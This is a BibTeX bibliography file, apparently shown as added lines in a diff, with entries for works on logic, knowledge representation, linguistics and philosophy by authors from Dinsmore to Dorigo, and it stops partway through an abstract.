+@book{ dinsmore:1981a, + author = {John D. Dinsmore}, + title = {The Inheritance of Presuppositions}, + publisher = {John Benjamin}, + year = {1981}, + address = {Amsterdam}, + topic = {presupposition;pragmatics;} + } + +@book{ dinsmore:1981b, + author = {John D. Dinsmore}, + title = {Pragmatics, Formal Theory, and the Analysis of + Presupposition}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {presupposition;pragmatics;} + } + +@book{ dinsmore:1991a, + author = {John Dinsmore}, + title = {Partitioned Representations: A Study in Mental Representation, + Language Understanding, and Linguistic Structure}, + Publisher = {Kluwer Academic Publishers}, + year = {1991}, + address = {Dordrecht}, + ISBN = {0792313488}, + topic = {foundations-of-cognition;psycholinguistics;} + } + +@book{ dinsmore:1992a, + editor = {John Dinsmore}, + title = {Symbolic and Connectionist Paradigms: Closing the Gap}, + publisher = {Lawrence Erlbaum Associates}, + year = {1992}, + address = {Hillsdale, New Jersey}, + ISBN = {080581079X}, + topic = {connectionist-plus-symbolic-architectures;} + } + +@inproceedings{ dionne:1992a, + author = {Bob Dionne}, + title = {Structural Subsumption as a Basis for Intensional Semantics}, + booktitle = {Working Notes, {AAAI} Fall Symposium on Issues in Description + Logics: Users Meet Developers}, + year = {1992}, + editor = {Robert MacGregor}, + pages = {27--30}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {taxonomic-logics;algebraic-semantics;} + } + +@techreport{ dionne-etal:1992a, + author = {Robert Dionne and Eric Mays and Frank J. Oles}, + title = {Disjunctive Concept Algebras}, + institution = {{IBM}}, + number = {RC 18458}, + year = {1992}, + contentnote = {An abstact, algebraic semantics for description + logics. See brink-schmidt:1992a.}, + topic = {taxonomic-logics;algebraic-semantics;} + } + +@inproceedings{ dionne-etal:1992b, + author = {Robert Dionne and Eric Mays and Frank J. Oles}, + title = {A Non-Well-Founded Approach to Terminological Cycles}, + booktitle = {Proceedings of the Tenth National Conference on + Artificial Intelligence}, + year = {1992}, + editor = {Paul Rosenbloom and Peter Szolovits}, + pages = {761--766}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {kr;classifier-algorithms;taxonomic-logics;kr-course;} + } + +@inproceedings{ dionne-etal:1993a, + author = {Robert Dionne and Eric Mays and Frank J. Oles}, + title = {The Equivalence of Model-Theoretic and Structural + Subsumption in Description Logics}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {710--716}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + contentnote = {Proves a result about an abstact, algebraic semantics + for description logics. See dionne-etal:1992a, + brink-schmidt:1992a.}, + topic = {taxonomic-logics;algebraic-semantics;} + } + +@article{ dipriso:2002a, + author = {Carlos Augusto Di Priso}, + title = {Review of First and Second Editions of {\it Computable + Functions, Logic, and the Foundations of Mathematics}, by + {R}ichard {L}. {E}pstein and {W}alter {A}. {C}arnielli}, + journal = {The Bulletin of Symbolic Logic}, + year = {2002}, + volume = {8}, + number = {1}, + pages = {101--104}, + xref = {Review of: epstein_rl-carnielli:1989a, epstein_rl-carnielli:2000a.}, + topic = {computability;goedels-first-theorem;goedels-second-theorem;} + } + +@incollection{ disciullo:1992a, + author = {Anna-Maria Di Sciullo}, + title = {Deverbal Compounds and the External Argument}, + booktitle = {Thematic Structure: Its Role in Grammar}, + publisher = {Foris Publications}, + year = {1992}, + editor = {Iggy M. Roca}, + pages = {65--78}, + address = {Berlin}, + topic = {thematic-roles;argument-structure;derivational-morphology;} + } + +@book{ disciullo:1997a, + editor = {Anna-Maria di Sciullo}, + title = {Projections and Interface Conditions: Essays on Modularity}, + publisher = {Oxford University Press}, + year = {1997}, + address = {Oxford}, + ISBN = {0195104145}, + topic = {cognitive-modularity;} + } + +@incollection{ disciullo:1999a, + author = {Anna-Maria Di Sciullo}, + title = {Formal Context and Morphological + Analysis}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {105--118}, + address = {Berlin}, + topic = {context;morphology;} + } + +@book{ dittmar:1976a, + author = {Norbert Dittmar}, + title = {Sociolinguistics: A Critical Survey of Theory and + Application}, + publisher = {Edward Arnold}, + year = {1976}, + address = {London}, + note = {translated from the German by Peter Sand.}, + topic = {sociolinguistics;discourse-analysis;} + } + +@book{ dittmar:1976b, + author = {Norbert Dittmar}, + title = {Sociolinguistics: An International Handbook of the Science of + Language and Society}, + publisher = {Walter de Gruyter}, + year = {1976}, + address = {Berlin}, + topic = {sociolinguistics;} + } + +@article{ divay-vitale:1997a, + author = {Michel Divay and Anthony J. Vitale}, + title = {Algorithms for Grapheme-Phoneme Translation for {E}nglish + and {F}rench: Applications}, + journal = {Computational Linguistics}, + year = {1997}, + volume = {23}, + number = {4}, + pages = {495--523}, + topic = {grapheme-phoneme-translation;} + } + +@article{ divers:1999a, + author = {John Divers}, + title = {A Modal Fictionalist Result}, + journal = {No\^us}, + year = {1999}, + volume = {33}, + number = {3}, + pages = {317--346}, + topic = {philosophy-of-possible-worlds;} + } + +@book{ dix_a:1993a, + author = {Alan Dix}, + title = {Human-Computer Interaction}, + publisher = {Prentice Hall}, + year = {1993}, + address = {Englewood Cliffs, New Jersey}, + ISBN = {0134372115 (pbk.)}, + topic = {HCI;} + } + +@book{ dix_a:1998a, + author = {Alan Dix}, + title = {Human-Computer Interaction}, + publisher = {Prentice Hall Europe}, + edition = {2}, + year = {1998}, + address = {London}, + ISBN = {0132398648}, + topic = {HCI;} + } + +@incollection{ dix_j:1991a, + author = {J\"urgen Dix}, + title = {Cumulativity and Rationality in Semantics of Normal Logic + Programs}, + booktitle = {Nonmonotonic and Inductive Logics}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {J\"urgen Dix and Klaus P. Jantke and P.H. Schmidt}, + pages = {13--37}, + address = {Berlin}, + missinginfo = {E's 1st name.}, + topic = {nonmonotonic-logic;logic-programming;cumulativity;} + } + +@book{ dix_j-etal:1991a, + editor = {J\"urgen Dix and Klaus P. Jantke and P.H. Schmidt}, + title = {Nonmonotonic and Inductive Logics}, + publisher = {Springer-Verlag}, + year = {1991}, + address = {Berlin}, + missinginfo = {E's 1st name}, + contentnote = {TC: + 1. Gerhard Brewka and David C. Makinson and Karl Schlechta, + Cumulative Inference Relations for JTMS and + Logic Programming + 2. J\"urgen Dix, Cumulativity and Rationality in Semantics of + Normal Logic Programs + 3. Heinich Herre, Nonmonotonic Reasoning and Logic Programs + 4. Michael Freund, Supracompact Inference Operations + 5. Gerhard J\"ager, Notions of Nonmonotonic Derivability + 6. Wiktor Marek and Grigori F. Schwartz and Miroslaw + Truszczynski, Ranges of Strong Modal Nonmonotonic Logics + 7. Helmut Thiele, On Generation of Cumulative Inference + Operators by Default Deduction Rules + 8. Emil Weydert, Qualitative Magnitude Reasoning: Towards a + New Syntax and Semantics for Default Reasoning + 9. Klaus P. Jantke, Monotonic and Nonmonotonic Inductive + Inference of Functions and Patterns + 10. Steffen Lange, A Note on Polynomial-Time Inference of + $k$-Variable Pattern Languages + 11. Rolf Wiehagen, A Thesis in Inductive Inference + 12. Thomas Zeugmann, Inductive Inference of Optimal Programs: + Survey and Open Problems + 13. J\"urgen Kalinski, Autoepistemic Expansions with Incomplete + Belief Introspection + } , + topic = {nonmonotonic-logics;induction;} + } + +@incollection{ dix_j:1992a, + author = {J\"urgen Dix}, + title = {A Framework for Representing and Characterizing Semantics + of Logic Programs}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {591--602}, + address = {San Mateo, California}, + topic = {kr;logic-programming;nonmonotonic-reasoning;} + } + +@article{ dix_j-makinson:1992a, + author = {J\"urgen Dix and David C. Makinson}, + title = {The Relationship Between {KLM} and {MAK} Models for + Nonmonotonic Inference Operations}, + journal = {Journal of Logic, Language, and Information}, + year = {1992}, + volume = {1}, + number = {2}, + pages = {131--140}, + topic = {nonmonotonic-logic;model-preference;} + } + +@article{ dix_j:1995a, + author = {J\"urgen Dix}, + title = {A Classification Theory of Semantics of Normal Logic + Programs {I}: Strong Properties}, + journal = {Fundamenta Mathematicae}, + year = {1995}, + volume = {22}, + number = {3}, + pages = {227--255}, + topic = {logic-programming;} + } + +@article{ dix_j:1995b, + author = {J\"urgen Dix}, + title = {A Classification Theory of Semantics of Normal Logic + Programs {II}: Weak Properties}, + journal = {Fundamenta Mathematicae}, + year = {1995}, + volume = {22}, + number = {3}, + pages = {257--288}, + topic = {logic-programming;} + } + +@book{ dix_j-etal:1995a, + editor = {J\"urgen Dix and Lu\'is Moniz Pereira and Teodor Przymusinski}, + title = {Non-Monotonic Extensions of Logic Programming}, + year = {1993}, + publisher = {Springer-Verlag}, + address = {Berlin}, + ISBN = {3540564543}, + topic = {logic-programming;nonmonotonic-logic;} + } + +@incollection{ dix_j:1996a, + author = {J\"urgen Dix}, + title = {Semantics of Logic Programs: Their Intuitions and Formal + Properties, An Overview}, + booktitle = {Logic, Action, and Information: Essays on Logic in + Philosophy and Artificial Intelligence}, + year = {1996}, + publisher = {Walter de Gruyter}, + editor = {Andr\'e Fuhrmann and Hans Rott}, + pages = {241--327}, + address = {Berlin}, + topic = {logic-programming;fixpoints;semantics-of-programming-languages;} + } + +@book{ dix_j-etal:1998a, + editor = {J\"urgen Dix and Lu\'is Moniz Pereira and Teodor C. + Przymusinski}, + title = {Logic Programming and Knowledge Representation}, + publisher = {Springer-Verlag}, + year = {1998}, + address = {Berlin}, + ISBN = {3540649581 (softcover)}, + topic = {logic-programming;kr;} + } + +@book{ dix_j-etal:1998b, + editor = {J\"urgen Dix and Luis Fari\~nas del Cerro and Ulrich + Furbach}, + title = {Logics in Artificial Intelligence European Workshop, + {JELIA}'98, Dagstuhl, Germany, October 12-15, 1998}, + publisher = {Springer-Verlag}, + year = {1998}, + address = {Berlin}, + ISBN = {3-540-65141-1 (Softcover)}, + contentnote = {Blurb: + The 25 revised full papers presented were carefully selected + from a total of 65 submissions. Also included are two abstracts + of invited talks. The papers are organized in topical sections + on logic programming, epistemic logics, theorem proving, + non-monotonic reasoning, non-standard logics, knowledge + representation, and higher order logics. } , + topic = {logics-in-AI;} + } + +@article{ dix_j-etal:2001a, + author = {J\urgen Dix and Sarit Kraus and V.S. Subrahmanian}, + title = {Temporal Agent Programs}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {127}, + number = {1}, + pages = {87--135}, + topic = {temporal-reasoning;logic-programming; + agent-oriented-programming;} + } + +@article{ dixon_c-etal:2002a, + author = {Clare Dixon and Michael Fisher and Alexander Bolotov}, + title = {Clausal Resolution in a Logic of Rational Agency}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {139}, + number = {1}, + pages = {47--89}, + topic = {branching-time;epistemic-logic;theorem-proving;} + } + +@incollection{ dixon_rmw:1971a, + author = {R.M.W. Dixon}, + title = {A Method of Semantic Description}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {436--471}, + address = {Cambridge, England}, + topic = {Australian-languages;lexical-semantics;structural-semantics;} + } + +@techreport{ dixon_s-foo:1992a, + author = {Simon Dixon and Norman Y. Foo}, + title = {Encoding the {ATMS} in {AGM} Logic (Revised)}, + institution = {Computer Science Department, University of Sydney}, + number = {441}, + year = {1992}, + address = {Sydney}, + topic = {belief-revision;truth-maintenance;} + } + +@inproceedings{ dixon_s-foo:1993a, + author = {Simon Dixon and Norman Foo}, + title = {Connections between the {ATMS} and {AGM} Belief Revision}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {534--539}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {truth-maintenance;belief-revision;} + } + +@article{ djukic:2001a, + author = {George Djukic}, + title = {Review of {\it The Limits of Mathematics: A Course on Information + Theory and the Limits of Reasoning}, by {G}regory {J}. {C}haitin}, + journal = {Studia Logica}, + year = {2001}, + volume = {68}, + number = {3}, + pages = {407--410}, + xref = {Review of: chaitin:1998a.}, + topic = {algorithmic-information-theory;algorithmic-complexity;} + } + +@inproceedings{ doannguyen:1998a, + author = {Hai Doan-Nguyen}, + title = {Accumulation of Lexical Sets: Acquisition of Dictionary + Resources and Production of New Lexical Sets}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {330--335}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {computational-lexicography;automated-lexical-acquisition;} +} + +@book{ doedens:1994a, + author = {Crist-Jan Doedens}, + title = {Text Databases: One Database Model + and Several Retrieval Languages}, + publisher = {Editions Rodopi}, + year = {1994}, + missinginfo = {address}, + ISBN = {90-5183-729-1}, + xref = {Review: ide:1998a}, + topic = {textual-databases;} + } + +@article{ doering:1997a, + author = {Frank D\"oring}, + title = {The {R}amsey Test and Conditional Semantics}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {4}, + pages = {359--376}, + topic = {CCCP;conditionals;probability-kinematics;} + } + +@incollection{ doetjes-honcoop:1997a, + author = {Jenny Doetjes and Martin Honcoop}, + title = {The Semantics of Event-Based Readings: A Case for + Pair-Quantification}, + booktitle = {Ways of Scope Taking}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + editor = {Anna Szabolcsi}, + pages = {263--310}, + address = {Dordrecht}, + topic = {nl-quantifier-scope;nl-quantifiers;events;Aktionsarten;measures;} + } + +@book{ doets:1996a, + author = {Kees Doets}, + title = {Basic Model Theory}, + publisher = {{CSLI} Publications}, + year = {1996}, + address = {Stanford, California}, + ISBN = {1-57586-049-X (hard cover), 1-57586-048-1 (paperback)}, + xref = {Review: blackburn_p:1999a}, + topic = {model-theory;logic-intro;} + } + +@inproceedings{ doherty:1989a, + author = {Patrick Doherty}, + title = {A Correspondence Between Inheritance Properties and a + Logic of Preferential Entailment}, + booktitle = {Methodologies for Intelligent Systems}, + year = {1989}, + editor = {Zbigniew Ras}, + pages = {395--402}, + publisher = {North-Holland}, + address = {Amsterdam}, + topic = {inheritance-theory;model-preference;} + } + +@book{ doherty:1996a, + editor = {Patrick Doherty}, + title = {Partiality, Modality, and Nonmonotonicity}, + publisher = {{CSLI} Publications}, + year = {1996}, + address = {Stanford, California}, + ISBN = {1-57586-030-9}, + xref = {Review: vaneijk:1999a}, + topic = {partial-logic;modal-logic;nonmonotonic-logic;} + } + +@incollection{ doherty-etal:1998a, + author = {Patrick Doherty and Witold {\L}ukasziewicz + and Ewa Madali\'nska-Bugaj}, + title = {The {PMA} and Relativizing Change for Action Update}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {258--269}, + address = {San Francisco, California}, + topic = {kr;belief-revision;temporal-reasoning;action-formalisms; + kr-course;} + } + +@article{ doherty-etal:2001a, + author = {Patrick Doherty and Jonas Kvarnstr\"om}, + title = {{TAL}planner: A Temporal Logic-Based Planner}, + journal = {The {AI} Magazine}, + year = {2001}, + volume = {22}, + number = {1}, + pages = {95--102}, + topic = {planning;planning-algorithms;planning-systems;} + } + +@inproceedings{ doi-etal:1998a, + author = {Shinichi Doi and Shin-ichiro Kamei and Kiyoshi Yamabana}, + title = {A Text Input Front-End Processor as an Information Access + Platform}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {336--340}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {computer-assisted-writing;} +} + +@inproceedings{ dolev-strong:1982a, + author = {D. Dolev and H.R. Strong}, + title = {Polynomial Algorithms for Multiple Processor Agreement}, + booktitle = {Proceedings of the Fourteenth Annual {ACM} Symposium on + Theory of Computing}, + year = {1982}, + pages = {401--407}, + organization = {{ACM}}, + missinginfo = {A's 1st name}, + topic = {distributed-systems;communication-protocols;polynomial-algorithms;} + } + +@article{ dolev-etal:1986a, + author = {D. Dolev and Joseph Y. Halpern and H.R. Strong}, + title = {On the Possibility and Impossibility of Achieving + Clock Synchronization}, + journal = {Journal of Computer and System Sciences}, + year = {1986}, + volume = {32}, + number = {2}, + pages = {230--250}, + missinginfo = {A's 1st name}, + topic = {distributed-systems;synchronization;communication-protocols;} + } + +@article{ dolev-etal:1990a, + author = {D. Dolev and R. Reischuk and H.R. Strong}, + title = {Early Stopping in {B}yzantine Agreement}, + journal = {Journal of the {ACM}}, + year = {1990}, + volume = {34}, + number = {7}, + pages = {720--741}, + missinginfo = {A's 1st name}, + topic = {distributed-systems;Byzantine-agreement;communication-protocols;} + } + +@book{ domolki-gergely:1981a, + editor = {B. D\"om\"olki and T. Gergely}, + title = {Mathematical Logic in Computer Science}, + publisher = {North-Holland Publishing Co.}, + year = {1981}, + address = {Amsterdam}, + ISBN = {0444854401}, + topic = {logic-in-cs;logic-in-cs-intro;} + } + +@article{ domotor:1972a, + author = {Zoltan Domotor}, + title = {Causal Models and Space-Time Geometries}, + journal = {Synth\'ese}, + year = {1972}, + volume = {24}, + number = {1}, + pages = {5--57}, + missinginfo = {A's 1st name, number}, + topic = {causality;philosophy-of-space;philosophy-of-physics;} + } + +@incollection{ domschlak-brafman:2002a, + author = {Carmel Domschlak and Ronen I. Brafman}, + title = {{CP}-Nets---Reasoning and Consistency Checking}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {121--132}, + address = {San Francisco, California}, + topic = {kr;CP-nets;preference-representation;complexity-in-AI;} + } + +@article{ donagan:1963a, + author = {Alan Donagan}, + title = {Universals and Metaphysical Realism}, + journal = {The Monisr}, + volume = {47}, + year = {1963}, + pages = {211--246}, + topic = {philosophical-realism;metaphysics;} + } + +@article{ donagan:1984a, + author = {Alan Donagan}, + title = {Consistency in Rationalist Moral Systems}, + journal = {The Journal of Philosophy}, + volume = {81}, + year = {1984}, + pages = {291--309}, + topic = {ethics;moral-conflict;} + } + +@article{ donald:1987a, + author = {Bruce R. Donald}, + title = {A Search Algorithm for Motion Planning with Six + Degrees of Freedom}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {31}, + number = {3}, + pages = {295--353}, + topic = {motion-planning;search;} + } + +@article{ donald:1988a, + author = {Bruce R. Donald}, + title = {A Geometric Approach to Error Detection and Recovery + for Robot Motion Planning with Uncertainty}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {37}, + number = {1--3}, + pages = {223--271}, + topic = {motion-planning;} + } + +@article{ donald:1995a, + author = {Bruce R. Donald}, + title = {On Information Invariants in Robotics}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {72}, + number = {1--2}, + pages = {217--304}, + acontentnote = {Abstract: + We consider the problem of determining the information + requirements to perform robot tasks, using the concept of + information invariants. This paper represents our attempt to + characterize a family of complicated and subtle issues concerned + with measuring robot task complexity. We also provide a first + approximation to a purely operational theory that addresses a + narrow but interesting special case. We discuss several measures + for the information complexity of a task: (a) How much internal + state should the robot retain? (b) How many cooperating agents + are required, and how much communication between them is + necessary? (c) How can the robot change (side-effect) the + environment in order to record state or sensory information to + perform a task? (d) How much information is provided by sensors? + and (e) How much computation is required by the robot? We + consider how one might develop a kind of ``calculus'' on (a)--e) + in order to compare the power of sensor systems analytically. + To this end, we attempt to develop a notion of information + invariants. We develop a theory whereby one sensor can be + ``reduced'' to another (much in the spirit of + computation-theoretic reductions), by adding, deleting, and + reallocating (a-e) among collaborating autonomous agents.}, + topic = {robotics;} + } + +@inproceedings{ dongha-castelfranchi:1995a, + author = {Paul Dongha and Cristiano Castelfranchi}, + title = {Rationality in Commitment}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Rational Agency: Concepts, Theories, Models, and Applications}, + year = {1995}, + editor = {Michael Fehling}, + pages = {32--40}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {intention;} + } + +@incollection{ donghong-changning:1997a, + author = {Ji Donghong and Huang Changning}, + title = {Word Sense Disambiguation + Based on Structured Semantic Space}, + booktitle = {Proceedings of the Second Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Claire Cardie and Ralph Weischedel}, + pages = {187--196}, + address = {Somerset, New Jersey}, + topic = {empirical-methods-in-nlp;lexical-disambiguation;} + } + +@incollection{ donghong-etal:1998a, + author = {Ji Donghong and He Jun and Huang Changning}, + title = {Learning New Compositions from Given Ones}, + booktitle = {{CoNLL97}: Computational Natural Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {T. Mark Ellison}, + pages = {25--32}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;grammar-learning;} + } + +@incollection{ donini:1991a, + author = {Francesco M. Donini and Maurizio Lenzerini and Daniele + Nardi and Werner Nutt}, + title = {The Complexity of Concept Languages}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {151--162}, + address = {San Mateo, California}, + contentnote = {This is a useful survey paper on complexity issues + for taxonomic logics.}, + topic = {kr;kr-complexity-analysis;taxonomic-logics;kr-course;} + } + +@article{ donini-etal:1992a, + author = {Francesco M. Donini and Maurizio Lenzerini and Daniele Nardi and + Bernhard Hollunder and Werner Nutt and Alberto Spaccamela}, + title = {The Complexity of Existential Quantification in Concept + Languages}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {53}, + number = {2--3}, + pages = {309--327}, + contentnote = {Adding unrestricted E to basic L without disjunction + results in NP-completeness.}, + topic = {kr-complexity-analysis;taxonomic-logics;complexity-in-AI;} + } + +@incollection{ donini-etal:1992b, + author = {Francesco M. Donini and Maurizio Lenzerini and Daniele + Nardi and Andrea Schaerf}, + title = {Adding Epistemic Operators to Concept Languages}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {342--353}, + address = {San Mateo, California}, + topic = {taxonomic-logics;epistemic-logic;reasoning-about-knowledge;} + } + +@incollection{ donini-etal:1996a, + author = {Francesco M. Donini and Maurizio Lenzerini and + Daniele Nardi and Andrea Schaerf}, + title = {Reasoning in Description Logics}, + booktitle = {Principles of Knowledge Representation}, + publisher = {{CSLI} Publications}, + year = {1996}, + editor = {Gerhard Brewka}, + pages = {191--236}, + address = {Stanford, California}, + topic = {taxonomic-logics;} + } + +@incollection{ donini-etal:1996b, + author = {Francesco M. Donini and Fabio Massacci and Daniele Nardi and + Riccardo Rosati}, + title = {A Uniform Tableaux Method for Nonmonotonic Modal Logics}, + booktitle = {Logics in Artificial Intelligence: European Workshop, + {Jelia}'96, Ivora, Portugal, September 30 - October 3, + 1996.}, + publisher = {Springer-Verlag}, + year = {1996}, + editor = {Jos\'e J\'ulio Alferes and Lu\'is Moniz Pereira and Ewa Orlowska}, + pages = {87--103}, + address = {Berlin}, + topic = {theorem-proving;nonmonotonic-logic;modal-logic; + nonmonotonic-reasoning-algorithms;} + } + +@article{ donini-etal:1998a, + author = {Francesco M. Donini and Maurizio Lenzerini and + Daniele Nardi and Werner Nutt and Andrea Schaerf}, + title = {An Epistemic Operator for Description Logics}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {100}, + number = {1--2}, + pages = {225--274}, + topic = {extensions-of-kl1;epistemic-logic; + reasoning-about-knowledge;nonmonotonic-reasoning;} + } + +@article{ donini-massacchi:2000a, + author = {Francesco M. Donini and Fabio Massacchi}, + title = {{\sc EXPtime} Tableaux for ${\cal ALC}$}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {124}, + number = {1}, + pages = {87--138}, + topic = {modal-logic;taxonomic-logics;theorem-proving;} + } + +@article{ donnellan:1966a1, + author = {Keith Donnellan}, + title = {Reference and Definite Descriptions}, + journal = {Philosophical Review}, + year = {1966}, + volume = {75}, + pages = {281--304}, + xref = {Republication: donnellan:1966a2.}, + topic = {definite-descriptions;} + } + +@incollection{ donnellan:1971a, + author = {Keith Donnellan}, + title = {Reference and Definite Descriptions}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {100--114}, + address = {Cambridge, England}, + xref = {Republication of: donnellan:1966a1.}, + topic = {definite-descriptions;} + } + +@incollection{ donnellan:1972a, + author = {Keith S. Donnellan}, + title = {Proper Names and Identifying Descriptions}, + booktitle = {Semantics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {356--379}, + address = {Dordrecht}, + topic = {proper-names;definite-descriptions;reference;} + } + +@incollection{ donnellan:1978a1, + author = {Keith Donnellan}, + title = {Speaker Reference, Descriptions and Anaphora}, + booktitle = {Syntax and Semantics 9: Pragmatics}, + publisher = {Academic Press}, + year = {1975}, + editor = {Peter Cole}, + pages = {47--68}, + address = {New York}, + xref = {Republication: donnellan:1978a2.}, + topic = {referring-expressions;definite-descriptions;anaphora; + philosophy-of-language;pragmatics;} + } + +@incollection{ donnellan:1978a2, + author = {Keith S. Donnellan}, + title = {Speaker Reference, Descriptions, and Anaphora}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {28--44}, + address = {Minneapolis}, + xref = {Republication of donnellan:1978a1.}, + topic = {referring-expressions;definite-descriptions;anaphora; + philosophy-of-language;pragmatics; + reference;} + } + +@incollection{ donnellan:1978b, + author = {Keith S. Donnellan}, + title = {The Contingent {\it A Priori} and Rigid Designators}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {45--60}, + address = {Minneapolis}, + topic = {reference;a-priori;} + } + +@incollection{ donnellan:1981a, + author = {Keith Donnellan}, + title = {Intuitions and Presuppositions}, + booktitle = {Radical Pragmatics}, + publisher = {Academic Press}, + year = {1981}, + editor = {Peter Cole}, + pages = {129--142}, + address = {New York}, + topic = {presupposition;pragmatics;} + } + +@incollection{ donnellan:1993a, + author = {Keith S. Donnellan}, + title = {There Is a Word for that Kind of + Thing: An Investigation of Two Thought Experiments}, + booktitle = {Philosophical Perspectives, Volume 7: + Language and Logic}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {James E. Tomberlin}, + pages = {155--171}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {twin-earth;philosophical-thought-experiments;} + } + +@incollection{ dorato:2000a, + author = {Mauro Dorato}, + title = {Becoming and the Arrow of Causation}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S523--S534}, + address = {Newark, Delaware}, + topic = {philosophy-of-physics;temporal-direction;causality;} + } + +@article{ dordan:1992a, + author = {Olivier Dordan}, + title = {Mathematical Problems Arising in Qualitative Simulation of + a Differential Equation}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {55}, + number = {1}, + pages = {61--86}, + topic = {differential-equations;qualitative-simulation;} + } + +@article{ dore:1962a, + author = {Clement Dore}, + title = {On the Meaning of `Could Have'\, } , + journal = {Analysis}, + year = {1962}, + volume = {23}, + pages = {41--43}, + missinginfo = {number}, + topic = {conditionals;ability;counterfactual-past;} + } + +@article{ dore:1963a, + author = {Clement Dore}, + title = {More On the Meaning of `Could Have'\, } , + journal = {Analysis}, + year = {1963}, + volume = {24}, + pages = {41--43}, + missinginfo = {number}, + topic = {conditionals;ability;counterfactual-past;} + } + +@article{ dore:1963b, + author = {Clement Dore}, + title = {Is Free Will Compatible With Determinism?}, + journal = {The Philosophical Review}, + year = {1963}, + volume = {72}, + pages = {500--501}, + missinginfo = {number}, + topic = {freedom;(in)determinism;} + } + +@article{ dorigo-colombetti:1994a, + author = {Marco Dorigo and Marco Colombetti}, + title = {Robot Shaping: Developing Autonomous Agents through + Learning}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {71}, + number = {2}, + pages = {321--370}, + acontentnote = {Abstract: + Learning plays a vital role in the development of autonomous + agents. In this paper, we explore the use of reinforcement + learning to ``shape'' a robot to perform a predefined target + behavior. We connect both simulated and real robots to ALECSYS, + a parallel implementation of a learning 